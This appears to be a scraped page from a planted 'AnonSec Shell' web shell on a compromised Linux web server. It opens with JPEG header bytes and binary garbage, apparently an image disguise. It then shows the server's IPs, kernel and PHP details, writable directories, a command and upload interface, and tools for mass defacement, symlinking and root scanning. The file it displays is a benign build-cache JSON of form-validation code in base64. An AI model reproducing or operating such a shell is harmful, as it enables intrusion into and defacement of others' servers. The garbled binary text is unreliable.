JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 104.21.79.64  /  Your IP : 104.23.197.30   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/comcon24/cms/node_modules/.cache/babel-loader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/comcon24/cms/node_modules/.cache/babel-loader/4eab1903184875a45fb000f511840c03.json
{"remainingRequest":"/var/app/comcon24/cms/node_modules/thread-loader/dist/cjs.js!/var/app/comcon24/cms/node_modules/babel-loader/lib/index.js!/var/app/comcon24/cms/node_modules/vee-validate/dist/rules.js","dependencies":[{"path":"/var/app/comcon24/cms/node_modules/vee-validate/dist/rules.js","mtime":1727238150909},{"path":"/var/app/comcon24/cms/babel.config.js","mtime":1729482070524},{"path":"/var/app/comcon24/cms/node_modules/cache-loader/dist/cjs.js","mtime":1727535780436},{"path":"/var/app/comcon24/cms/node_modules/thread-loader/dist/cjs.js","mtime":1727535780458},{"path":"/var/app/comcon24/cms/node_modules/babel-loader/lib/index.js","mtime":1729482259283}],"contextDependencies":[],"result":[{"type":"Buffer","data":"base64:aW1wb3J0ICJjb3JlLWpzL21vZHVsZXMvd2ViLnVybC1zZWFyY2gtcGFyYW1zLmRlbGV0ZS5qcyI7CmltcG9ydCAiY29yZS1qcy9tb2R1bGVzL3dlYi51cmwtc2VhcmNoLXBhcmFtcy5oYXMuanMiOwppbXBvcnQgImNvcmUtanMvbW9kdWxlcy93ZWIudXJsLXNlYXJjaC1wYXJhbXMuc2l6ZS5qcyI7CmltcG9ydCAiY29yZS1qcy9tb2R1bGVzL2VzLmFycmF5LnB1c2guanMiOwovKioKICAqIHZlZS12YWxpZGF0ZSB2My40LjE1CiAgKiAoYykgMjAyMyBBYmRlbHJhaG1hbiBBd2FkCiAgKiBAbGljZW5zZSBNSVQKICAqLwovKioNCiAqIFNvbWUgQWxwaGEgUmVnZXggaGVscGVycy4NCiAqIGh0dHBzOi8vZ2l0aHViLmNvbS9jaHJpc28vdmFsaWRhdG9yLmpzL2Jsb2IvbWFzdGVyL3NyYy9saWIvYWxwaGEuanMNCiAqLwovKiBlc2xpbnQtZGlzYWJsZSBuby1taXNsZWFkaW5nLWNoYXJhY3Rlci1jbGFzcyAqLwp2YXIgYWxwaGEkMSA9IHsKICBlbjogL15bQS1aXSokL2ksCiAgY3M6IC9eW0EtWsOBxIzEjsOJxJrDjcWHw5PFmMWgxaTDmsWuw53FvV0qJC9pLAogIGRhOiAvXltBLVrDhsOYw4VdKiQvaSwKICBkZTogL15bQS1aw4TDlsOcw59dKiQvaSwKICBlczogL15bQS1aw4HDicONw5HDk8Oaw5xdKiQvaSwKICBmYTogL15b2KHYotij2KTYpdim2KfYqNip2KrYq9is2K3Yrtiv2LDYsdiy2LPYtNi12LbYt9i42LnYutmB2YLZg9mE2YXZhtmH2YjZidmK2YvZjNmN2Y7Zj9mQ2ZHZktmw2b7amNqv2obaqduMXSokLywKICBmcjogL15bQS1aw4DDgsOGw4fDicOIw4rDi8OPw47DlMWSw5nDm8OcxbhdKiQvaSwKICBpdDogL15bQS1aXHhDMC1ceEZGXSokL2ksCiAgbHQ6IC9eW0EtWsSExIzEmMSWxK7FoMWyxarFvV0qJC9pLAogIG5sOiAvXltBLVrDicOLw4/Dk8OWw5xdKiQvaSwKICBodTogL15bQS1aw4HDicONw5PDlsWQw5rDnMWwXSokL2ksCiAgcGw6IC9eW0EtWsSExIbEmMWaxYHFg8OTxbvFuV0qJC9pLAogIHB0OiAvXltBLVrDg8OBw4DDgsOHw4nDisONw5XDk8OUw5rDnF0qJC9pLAogIHJvOiAvXltBLVrEgsOCw47FnsWiXSokL2ksCiAgcnU6IC9eW9CQLdCv0IFdKiQvaSwKICBzazogL15bQS1aw4HDhMSMxI7DicONxLnEvcWHw5PFlMWgxaTDmsOdxb1dKiQvaSwKICBzcjogL15bQS1axIzEhsW9xaDEkF0qJC9pLAogIHN2OiAvXltBLVrDhcOEw5ZdKiQvaSwKICB0cjogL15bQS1aw4fEnsSwxLHDlsWew5xdKiQvaSwKICB1azogL15b0JAt0KnQrNCu0K/QhNCG0IfSkF0qJC9pLAogIGFyOiAvXlvYodii2KPYpNil2KbYp9io2KnYqtir2KzYrdiu2K/YsNix2LLYs9i02LXYtti32LjYudi62YHZgtmD2YTZhdmG2YfZiNmJ2YrZi9mM2Y3ZjtmP2ZDZkdmS2bBdKiQvLAogIGF6OiAvXltBLVrDh8aPxJ7EsMSxw5bFnsOcXSokL2ksCiAgZWw6IC9eW86RLc+OXSokL2ksCiAgamE6IC9eW0EtWlx1MzAwMC1cdTMwM0ZcdTMwNDAtXHUzMDlGXHUzMEEwLVx1MzBGRlx1RkYwMC1cdUZGRUZcdTRFMDAtXHU5RkFGXSokL2ksCiAgaGU6IC9eW0EtWlx1MDVEMC1cdTA1RUEnXSokL2kKfTsKdmFyIGFscGhhU3BhY2VzID0gewogIGVuOiAvXltBLVpcc10qJC9pLAogIGNzOiAvXltBLVrDgcSMxI7DicSaw43Fh8OTxZjFoMWkw5rFrsOdxb1cc10qJC9pLAogIGRhOiAvXltBLVrDhsOYw4Vcc10qJC9pLAogIGRlOiAvXltBLVrDhMOWw5zDn1xzXSokL2ksCiAgZXM6IC9eW0EtWsOBw4nDjcORw5PDmsOcXHNdKiQvaSwKICBmYTogL15b2KHYotij2KTYpdim2KfYqNip2KrYq9is2K3Yrtiv2LDYsdiy2LPYtNi12LbYt9i42LnYutmB2YLZg9mE2YXZhtmH2YjZidmK2YvZjNmN2Y7Zj9mQ2ZHZktmw2b7amNqv2obaqduMXSokLywKICBmcjogL15bQS1aw4DDgsOGw4fDicOIw4rDi8OPw47DlMWSw5nDm8Ocxbhcc10qJC9pLAogIGl0OiAvXltBLVpceEMwLVx4RkZcc10qJC9pLAogIGx0OiAvXltBLVrEhMSMxJjElsSuxaDFssWqxb1cc10qJC9pLAogIG5sOiAvXltBLVrDicOLw4/Dk8OWw5xcc10qJC9pLAogIGh1OiAvXltBLVrDgcOJw43Dk8OWxZDDmsOcxbBcc10qJC9pLAogIHBsOiAvXltBLVrEhMSGxJjFmsWBxYPDk8W7xblcc10qJC9pLAogIHB0OiAvXltBLVrDg8OBw4DDgsOHw4nDisONw5XDk8OUw5rDnFxzXSokL2ksCiAgcm86IC9eW0EtWsSCw4LDjsWexaJcc10qJC9pLAogIHJ1OiAvXlvQkC3Qr9CBXHNdKiQvaSwKICBzazogL15bQS1aw4HDhMSMxI7DicONxLnEvcWHw5PFlMWgxaTDmsOdxb1cc10qJC9pLAogIHNyOiAvXltBLVrEjMSGxb3FoMSQXHNdKiQvaSwKICBzdjogL15bQS1aw4XDhMOWXHNdKiQvaSwKICB0cjogL15bQS1aw4fEnsSwxLHDlsWew5xcc10qJC9pLAogIHVrOiAvXlvQkC3QqdCs0K7Qr9CE0IbQh9KQXHNdKiQvaSwKICBhcjogL15b2KHYotij2KTYpdim2KfYqNip2KrYq9is2K3Yrtiv2LDYsdiy2LPYtNi12LbYt9i42LnYutmB2YLZg9mE2YXZhtmH2YjZidmK2YvZjNmN2Y7Zj9mQ2ZHZktmwXHNdKiQvLAogIGF6OiAvXltBLVrDh8aPxJ7EsMSxw5bFnsOcXHNdKiQvaSwKICBlbDogL15bzpEtz45cc10qJC9pLAogIGphOiAvXltBLVpcdTMwMDAtXHUzMDNGXHUzMDQwLVx1MzA5Rlx1MzBBMC1cdTMwRkZcdUZGMDAtXHVGRkVGXHU0RTAwLVx1OUZBRlxzXSokL2ksCiAgaGU6IC9eW0EtWlx1MDVEMC1cdTA1RUEnXHNdKiQvaQp9Owp2YXIgYWxwaGFudW1lcmljID0gewogIGVuOiAvXlswLTlBLVpdKiQvaSwKICBjczogL15bMC05QS1aw4HEjMSOw4nEmsONxYfDk8WYxaDFpMOaxa7DncW9XSokL2ksCiAgZGE6IC9eWzAtOUEtWsOGw5jDhV0kL2ksCiAgZGU6IC9eWzAtOUEtWsOEw5bDnMOfXSokL2ksCiAgZXM6IC9eWzAtOUEtWsOBw4nDjcORw5PDmsOcXSokL2ksCiAgZmE6IC9eW9ih2KLYo9ik2KXYptin2KjYqdiq2KvYrNit2K7Yr9iw2LHYstiz2LTYtdi22LfYuNi52LrZgdmC2YPZhNmF2YbZh9mI2YnZitmL2YzZjdmO2Y/ZkNmR2ZLZsNm+2pjar9qG2qnbjF0qJC8sCiAgZnI6IC9eWzAtOUEtWsOAw4LDhsOHw4nDiMOKw4vDj8OOw5TFksOZw5vDnMW4XSokL2ksCiAgaXQ6IC9eWzAtOUEtWlx4QzAtXHhGRl0qJC9pLAogIGx0OiAvXlswLTlBLVrEhMSMxJjElsSuxaDFssWqxb1dKiQvaSwKICBodTogL15bMC05QS1aw4HDicONw5PDlsWQw5rDnMWwXSokL2ksCiAgbmw6IC9eWzAtOUEtWsOJw4vDj8OTw5bDnF0qJC9pLAogIHBsOiAvXlswLTlBLVrEhMSGxJjFmsWBxYPDk8W7xbldKiQvaSwKICBwdDogL15bMC05QS1aw4PDgcOAw4LDh8OJw4rDjcOVw5PDlMOaw5xdKiQvaSwKICBybzogL15bMC05QS1axILDgsOOxZ7Fol0qJC9pLAogIHJ1OiAvXlswLTnQkC3Qr9CBXSokL2ksCiAgc2s6IC9eWzAtOUEtWsOBw4TEjMSOw4nDjcS5xL3Fh8OTxZTFoMWkw5rDncW9XSokL2ksCiAgc3I6IC9eWzAtOUEtWsSMxIbFvcWgxJBdKiQvaSwKICBzdjogL15bMC05QS1aw4XDhMOWXSokL2ksCiAgdHI6IC9eWzAtOUEtWsOHxJ7EsMSxw5bFnsOcXSokL2ksCiAgdWs6IC9eWzAtOdCQLdCp0KzQrtCv0ITQhtCH0pBdKiQvaSwKICBhcjogL15b2aDZodmi2aPZpNml2abZp9mo2akwLTnYodii2KPYpNil2KbYp9io2KnYqtir2KzYrdiu2K/YsNix2LLYs9i02LXYtti32LjYudi62YHZgtmD2YTZhdmG2YfZiNmJ2YrZi9mM2Y3ZjtmP2ZDZkdmS2bBdKiQvLAogIGF6OiAvXlswLTlBLVrDh8aPxJ7EsMSxw5bFnsOcXSokL2ksCiAgZWw6IC9eWzAtOc6RLc+OXSokL2ksCiAgamE6IC9eWzAtOUEtWlx1MzAwMC1cdTMwM0ZcdTMwNDAtXHUzMDlGXHUzMEEwLVx1MzBGRlx1RkYwMC1cdUZGRUZcdTRFMDAtXHU5RkFGXSokL2ksCiAgaGU6IC9eWzAtOUEtWlx1MDVEMC1cdTA1RUEnXSokL2kKfTsKdmFyIGFscGhhRGFzaCA9IHsKICBlbjogL15bMC05QS1aXy1dKiQvaSwKICBjczogL15bMC05QS1aw4HEjMSOw4nEmsONxYfDk8WYxaDFpMOaxa7DncW9Xy1dKiQvaSwKICBkYTogL15bMC05QS1aw4bDmMOFXy1dKiQvaSwKICBkZTogL15bMC05QS1aw4TDlsOcw59fLV0qJC9pLAogIGVzOiAvXlswLTlBLVrDgcOJw43DkcOTw5rDnF8tXSokL2ksCiAgZmE6IC9eW9ih2KLYo9ik2KXYptin2KjYqdiq2KvYrNit2K7Yr9iw2LHYstiz2LTYtdi22LfYuNi52LrZgdmC2YPZhNmF2YbZh9mI2YnZitmL2YzZjdmO2Y/ZkNmR2ZLZsNm+2pjar9qG2qnbjF0qJC8sCiAgZnI6IC9eWzAtOUEtWsOAw4LDhsOHw4nDiMOKw4vDj8OOw5TFksOZw5vDnMW4Xy1dKiQvaSwKICBpdDogL15bMC05QS1aXHhDMC1ceEZGXy1dKiQvaSwKICBsdDogL15bMC05QS1axITEjMSYxJbErsWgxbLFqsW9Xy1dKiQvaSwKICBubDogL15bMC05QS1aw4nDi8OPw5PDlsOcXy1dKiQvaSwKICBodTogL15bMC05QS1aw4HDicONw5PDlsWQw5rDnMWwXy1dKiQvaSwKICBwbDogL15bMC05QS1axITEhsSYxZrFgcWDw5PFu8W5Xy1dKiQvaSwKICBwdDogL15bMC05QS1aw4PDgcOAw4LDh8OJw4rDjcOVw5PDlMOaw5xfLV0qJC9pLAogIHJvOiAvXlswLTlBLVrEgsOCw47FnsWiXy1dKiQvaSwKICBydTogL15bMC050JAt0K/QgV8tXSokL2ksCiAgc2s6IC9eWzAtOUEtWsOBw4TEjMSOw4nDjcS5xL3Fh8OTxZTFoMWkw5rDncW9Xy1dKiQvaSwKICBzcjogL15bMC05QS1axIzEhsW9xaDEkF8tXSokL2ksCiAgc3Y6IC9eWzAtOUEtWsOFw4TDll8tXSokL2ksCiAgdHI6IC9eWzAtOUEtWsOHxJ7EsMSxw5bFnsOcXy1dKiQvaSwKICB1azogL15bMC050JAt0KnQrNCu0K/QhNCG0IfSkF8tXSokL2ksCiAgYXI6IC9eW9mg2aHZotmj2aTZpdmm2afZqNmpMC052KHYotij2KTYpdim2KfYqNip2KrYq9is2K3Yrtiv2LDYsdiy2LPYtNi12LbYt9i42LnYutmB2YLZg9mE2YXZhtmH2YjZidmK2YvZjNmN2Y7Zj9mQ2ZHZktmwXy1dKiQvLAogIGF6OiAvXlswLTlBLVrDh8aPxJ7EsMSxw5bFnsOcXy1dKiQvaSwKICBlbDogL15bMC05zpEtz45fLV0qJC9pLAogIGphOiAvXlswLTlBLVpcdTMwMDAtXHUzMDNGXHUzMDQwLVx1MzA5Rlx1MzBBMC1cdTMwRkZcdUZGMDAtXHVGRkVGXHU0RTAwLVx1OUZBRl8tXSokL2ksCiAgaGU6IC9eWzAtOUEtWlx1MDVEMC1cdTA1RUEnXy1dKiQvaQp9Owp2YXIgdmFsaWRhdGUkciA9IGZ1bmN0aW9uICh2YWx1ZSwgX2EpIHsKICB2YXIgX2IgPSAoX2EgPT09IHZvaWQgMCA/IHt9IDogX2EpLmxvY2FsZSwKICAgIGxvY2FsZSA9IF9iID09PSB2b2lkIDAgPyAnJyA6IF9iOwogIGlmIChBcnJheS5pc0FycmF5KHZhbHVlKSkgewogICAgcmV0dXJuIHZhbHVlLmV2ZXJ5KGZ1bmN0aW9uICh2YWwpIHsKICAgICAgcmV0dXJuIHZhbGlkYXRlJHIodmFsLCB7CiAgICAgICAgbG9jYWxlOiBsb2NhbGUKICAgICAgfSk7CiAgICB9KTsKICB9CiAgLy8gTWF0Y2ggYXQgbGVhc3Qgb25lIGxvY2FsZS4KICBpZiAoIWxvY2FsZSkgewogICAgcmV0dXJuIE9iamVjdC5rZXlzKGFscGhhJDEpLnNvbWUoZnVuY3Rpb24gKGxvYykgewogICAgICByZXR1cm4gYWxwaGEkMVtsb2NdLnRlc3QodmFsdWUpOwogICAgfSk7CiAgfQogIHJldHVybiAoYWxwaGEkMVtsb2NhbGVdIHx8IGFscGhhJDEuZW4pLnRlc3QodmFsdWUpOwp9Owp2YXIgcGFyYW1zJGsgPSBbewogIG5hbWU6ICdsb2NhbGUnCn1dOwp2YXIgYWxwaGEgPSB7CiAgdmFsaWRhdGU6IHZhbGlkYXRlJHIsCiAgcGFyYW1zOiBwYXJhbXMkawp9Owp2YXIgdmFsaWRhdGUkcSA9IGZ1bmN0aW9uICh2YWx1ZSwgX2EpIHsKICB2YXIgX2IgPSAoX2EgPT09IHZvaWQgMCA/IHt9IDogX2EpLmxvY2FsZSwKICAgIGxvY2FsZSA9IF9iID09PSB2b2lkIDAgPyAnJyA6IF9iOwogIGlmIChBcnJheS5pc0FycmF5KHZhbHVlKSkgewogICAgcmV0dXJuIHZhbHVlLmV2ZXJ5KGZ1bmN0aW9uICh2YWwpIHsKICAgICAgcmV0dXJuIHZhbGlkYXRlJHEodmFsLCB7CiAgICAgICAgbG9jYWxlOiBsb2NhbGUKICAgICAgfSk7CiAgICB9KTsKICB9CiAgLy8gTWF0Y2ggYXQgbGVhc3Qgb25lIGxvY2FsZS4KICBpZiAoIWxvY2FsZSkgewogICAgcmV0dXJuIE9iamVjdC5rZXlzKGFscGhhRGFzaCkuc29tZShmdW5jdGlvbiAobG9jKSB7CiAgICAgIHJldHVybiBhbHBoYURhc2hbbG9jXS50ZXN0KHZhbHVlKTsKICAgIH0pOwogIH0KICByZXR1cm4gKGFscGhhRGFzaFtsb2NhbGVdIHx8IGFscGhhRGFzaC5lbikudGVzdCh2YWx1ZSk7Cn07CnZhciBwYXJhbXMkaiA9IFt7CiAgbmFtZTogJ2xvY2FsZScKfV07CnZhciBhbHBoYV9kYXNoID0gewogIHZhbGlkYXRlOiB2YWxpZGF0ZSRxLAogIHBhcmFtczogcGFyYW1zJGoKfTsKdmFyIHZhbGlkYXRlJHAgPSBmdW5jdGlvbiAodmFsdWUsIF9hKSB7CiAgdmFyIF9iID0gKF9hID09PSB2b2lkIDAgPyB7fSA6IF9hKS5sb2NhbGUsCiAgICBsb2NhbGUgPSBfYiA9PT0gdm9pZCAwID8gJycgOiBfYjsKICBpZiAoQXJyYXkuaXNBcnJheSh2YWx1ZSkpIHsKICAgIHJldHVybiB2YWx1ZS5ldmVyeShmdW5jdGlvbiAodmFsKSB7CiAgICAgIHJldHVybiB2YWxpZGF0ZSRwKHZhbCwgewogICAgICAgIGxvY2FsZTogbG9jYWxlCiAgICAgIH0pOwogICAgfSk7CiAgfQogIC8vIE1hdGNoIGF0IGxlYXN0IG9uZSBsb2NhbGUuCiAgaWYgKCFsb2NhbGUpIHsKICAgIHJldHVybiBPYmplY3Qua2V5cyhhbHBoYW51bWVyaWMpLnNvbWUoZnVuY3Rpb24gKGxvYykgewogICAgICByZXR1cm4gYWxwaGFudW1lcmljW2xvY10udGVzdCh2YWx1ZSk7CiAgICB9KTsKICB9CiAgcmV0dXJuIChhbHBoYW51bWVyaWNbbG9jYWxlXSB8fCBhbHBoYW51bWVyaWMuZW4pLnRlc3QodmFsdWUpOwp9Owp2YXIgcGFyYW1zJGkgPSBbewogIG5hbWU6ICdsb2NhbGUnCn1dOwp2YXIgYWxwaGFfbnVtID0gewogIHZhbGlkYXRlOiB2YWxpZGF0ZSRwLAogIHBhcmFtczogcGFyYW1zJGkKfTsKdmFyIHZhbGlkYXRlJG8gPSBmdW5jdGlvbiAodmFsdWUsIF9hKSB7CiAgdmFyIF9iID0gKF9hID09PSB2b2lkIDAgPyB7fSA6IF9hKS5sb2NhbGUsCiAgICBsb2NhbGUgPSBfYiA9PT0gdm9pZCAwID8gJycgOiBfYjsKICBpZiAoQXJyYXkuaXNBcnJheSh2YWx1ZSkpIHsKICAgIHJldHVybiB2YWx1ZS5ldmVyeShmdW5jdGlvbiAodmFsKSB7CiAgICAgIHJldHVybiB2YWxpZGF0ZSRvKHZhbCwgewogICAgICAgIGxvY2FsZTogbG9jYWxlCiAgICAgIH0pOwogICAgfSk7CiAgfQogIC8vIE1hdGNoIGF0IGxlYXN0IG9uZSBsb2NhbGUuCiAgaWYgKCFsb2NhbGUpIHsKICAgIHJldHVybiBPYmplY3Qua2V5cyhhbHBoYVNwYWNlcykuc29tZShmdW5jdGlvbiAobG9jKSB7CiAgICAgIHJldHVybiBhbHBoYVNwYWNlc1tsb2NdLnRlc3QodmFsdWUpOwogICAgfSk7CiAgfQogIHJldHVybiAoYWxwaGFTcGFjZXNbbG9jYWxlXSB8fCBhbHBoYVNwYWNlcy5lbikudGVzdCh2YWx1ZSk7Cn07CnZhciBwYXJhbXMkaCA9IFt7CiAgbmFtZTogJ2xvY2FsZScKfV07CnZhciBhbHBoYV9zcGFjZXMgPSB7CiAgdmFsaWRhdGU6IHZhbGlkYXRlJG8sCiAgcGFyYW1zOiBwYXJhbXMkaAp9Owp2YXIgdmFsaWRhdGUkbiA9IGZ1bmN0aW9uICh2YWx1ZSwgX2EpIHsKICB2YXIgX2IgPSBfYSA9PT0gdm9pZCAwID8ge30gOiBfYSwKICAgIG1pbiA9IF9iLm1pbiwKICAgIG1heCA9IF9iLm1heDsKICBpZiAoQXJyYXkuaXNBcnJheSh2YWx1ZSkpIHsKICAgIHJldHVybiB2YWx1ZS5ldmVyeShmdW5jdGlvbiAodmFsKSB7CiAgICAgIHJldHVybiAhIXZhbGlkYXRlJG4odmFsLCB7CiAgICAgICAgbWluOiBtaW4sCiAgICAgICAgbWF4OiBtYXgKICAgICAgfSk7CiAgICB9KTsKICB9CiAgcmV0dXJuIE51bWJlcihtaW4pIDw9IHZhbHVlICYmIE51bWJlcihtYXgpID49IHZhbHVlOwp9Owp2YXIgcGFyYW1zJGcgPSBbewogIG5hbWU6ICdtaW4nCn0sIHsKICBuYW1lOiAnbWF4Jwp9XTsKdmFyIGJldHdlZW4gPSB7CiAgdmFsaWRhdGU6IHZhbGlkYXRlJG4sCiAgcGFyYW1zOiBwYXJhbXMkZwp9Owp2YXIgdmFsaWRhdGUkbSA9IGZ1bmN0aW9uICh2YWx1ZSwgX2EpIHsKICB2YXIgdGFyZ2V0ID0gX2EudGFyZ2V0OwogIHJldHVybiBTdHJpbmcodmFsdWUpID09PSBTdHJpbmcodGFyZ2V0KTsKfTsKdmFyIHBhcmFtcyRmID0gW3sKICBuYW1lOiAndGFyZ2V0JywKICBpc1RhcmdldDogdHJ1ZQp9XTsKdmFyIGNvbmZpcm1lZCA9IHsKICB2YWxpZGF0ZTogdmFsaWRhdGUkbSwKICBwYXJhbXM6IHBhcmFtcyRmCn07CnZhciB2YWxpZGF0ZSRsID0gZnVuY3Rpb24gKHZhbHVlLCBfYSkgewogIHZhciBsZW5ndGggPSBfYS5sZW5ndGg7CiAgaWYgKEFycmF5LmlzQXJyYXkodmFsdWUpKSB7CiAgICByZXR1cm4gdmFsdWUuZXZlcnkoZnVuY3Rpb24gKHZhbCkgewogICAgICByZXR1cm4gdmFsaWRhdGUkbCh2YWwsIHsKICAgICAgICBsZW5ndGg6IGxlbmd0aAogICAgICB9KTsKICAgIH0pOwogIH0KICB2YXIgc3RyVmFsID0gU3RyaW5nKHZhbHVlKTsKICByZXR1cm4gL15bMC05XSokLy50ZXN0KHN0clZhbCkgJiYgc3RyVmFsLmxlbmd0aCA9PT0gbGVuZ3RoOwp9Owp2YXIgcGFyYW1zJGUgPSBbewogIG5hbWU6ICdsZW5ndGgnLAogIGNhc3Q6IGZ1bmN0aW9uICh2YWx1ZSkgewogICAgcmV0dXJuIE51bWJlcih2YWx1ZSk7CiAgfQp9XTsKdmFyIGRpZ2l0cyA9IHsKICB2YWxpZGF0ZTogdmFsaWRhdGUkbCwKICBwYXJhbXM6IHBhcmFtcyRlCn07CnZhciB2YWxpZGF0ZUltYWdlID0gZnVuY3Rpb24gKGZpbGUsIHdpZHRoLCBoZWlnaHQpIHsKICB2YXIgVVJMID0gd2luZG93LlVSTCB8fCB3aW5kb3cud2Via2l0VVJMOwogIHJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbiAocmVzb2x2ZSkgewogICAgdmFyIGltYWdlID0gbmV3IEltYWdlKCk7CiAgICBpbWFnZS5vbmVycm9yID0gZnVuY3Rpb24gKCkgewogICAgICByZXR1cm4gcmVzb2x2ZShmYWxzZSk7CiAgICB9OwogICAgaW1hZ2Uub25sb2FkID0gZnVuY3Rpb24gKCkgewogICAgICByZXR1cm4gcmVzb2x2ZShpbWFnZS53aWR0aCA9PT0gd2lkdGggJiYgaW1hZ2UuaGVpZ2h0ID09PSBoZWlnaHQpOwogICAgfTsKICAgIGltYWdlLnNyYyA9IFVSTC5jcmVhdGVPYmplY3RVUkwoZmlsZSk7CiAgfSk7Cn07CnZhciB2YWxpZGF0ZSRrID0gZnVuY3Rpb24gKGZpbGVzLCBfYSkgewogIHZhciB3aWR0aCA9IF9hLndpZHRoLAogICAgaGVpZ2h0ID0gX2EuaGVpZ2h0OwogIHZhciBsaXN0ID0gW107CiAgZmlsZXMgPSBBcnJheS5pc0FycmF5KGZpbGVzKSA/IGZpbGVzIDogW2ZpbGVzXTsKICBmb3IgKHZhciBpID0gMDsgaSA8IGZpbGVzLmxlbmd0aDsgaSsrKSB7CiAgICAvLyBpZiBmaWxlIGlzIG5vdCBhbiBpbWFnZSwgcmVqZWN0LgogICAgaWYgKCEvXC4oanBnfHN2Z3xqcGVnfHBuZ3xibXB8Z2lmKSQvaS50ZXN0KGZpbGVzW2ldLm5hbWUpKSB7CiAgICAgIHJldHVybiBQcm9taXNlLnJlc29sdmUoZmFsc2UpOwogICAgfQogICAgbGlzdC5wdXNoKGZpbGVzW2ldKTsKICB9CiAgcmV0dXJuIFByb21pc2UuYWxsKGxpc3QubWFwKGZ1bmN0aW9uIChmaWxlKSB7CiAgICByZXR1cm4gdmFsaWRhdGVJbWFnZShmaWxlLCB3aWR0aCwgaGVpZ2h0KTsKICB9KSkudGhlbihmdW5jdGlvbiAodmFsdWVzKSB7CiAgICByZXR1cm4gdmFsdWVzLmV2ZXJ5KGZ1bmN0aW9uICh2KSB7CiAgICAgIHJldHVybiB2OwogICAgfSk7CiAgfSk7Cn07CnZhciBwYXJhbXMkZCA9IFt7CiAgbmFtZTogJ3dpZHRoJywKICBjYXN0OiBmdW5jdGlvbiAodmFsdWUpIHsKICAgIHJldHVybiBOdW1iZXIodmFsdWUpOwogIH0KfSwgewogIG5hbWU6ICdoZWlnaHQnLAogIGNhc3Q6IGZ1bmN0aW9uICh2YWx1ZSkgewogICAgcmV0dXJuIE51bWJlcih2YWx1ZSk7CiAgfQp9XTsKdmFyIGRpbWVuc2lvbnMgPSB7CiAgdmFsaWRhdGU6IHZhbGlkYXRlJGssCiAgcGFyYW1zOiBwYXJhbXMkZAp9Owp2YXIgdmFsaWRhdGUkaiA9IGZ1bmN0aW9uICh2YWx1ZSwgX2EpIHsKICB2YXIgbXVsdGlwbGUgPSAoX2EgPT09IHZvaWQgMCA/IHt9IDogX2EpLm11bHRpcGxlOwogIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZQogIHZhciByZSA9IC9eKChbXjw+KClcW1xdXFwuLDs6XHNAIl0rKFwuW148PigpXFtcXVxcLiw7OlxzQCJdKykqKXwoIi4rIikpQCgoXFtbMC05XXsxLDN9XC5bMC05XXsxLDN9XC5bMC05XXsxLDN9XC5bMC05XXsxLDN9XF0pfCgoW2EtekEtWlwtMC05XStcLikrW2EtekEtWl17Mix9KSkkLzsKICBpZiAobXVsdGlwbGUgJiYgIUFycmF5LmlzQXJyYXkodmFsdWUpKSB7CiAgICB2YWx1ZSA9IFN0cmluZyh2YWx1ZSkuc3BsaXQoJywnKS5tYXAoZnVuY3Rpb24gKGVtYWlsU3RyKSB7CiAgICAgIHJldHVybiBlbWFpbFN0ci50cmltKCk7CiAgICB9KTsKICB9CiAgaWYgKEFycmF5LmlzQXJyYXkodmFsdWUpKSB7CiAgICByZXR1cm4gdmFsdWUuZXZlcnkoZnVuY3Rpb24gKHZhbCkgewogICAgICByZXR1cm4gcmUudGVzdChTdHJpbmcodmFsKSk7CiAgICB9KTsKICB9CiAgcmV0dXJuIHJlLnRlc3QoU3RyaW5nKHZhbHVlKSk7Cn07C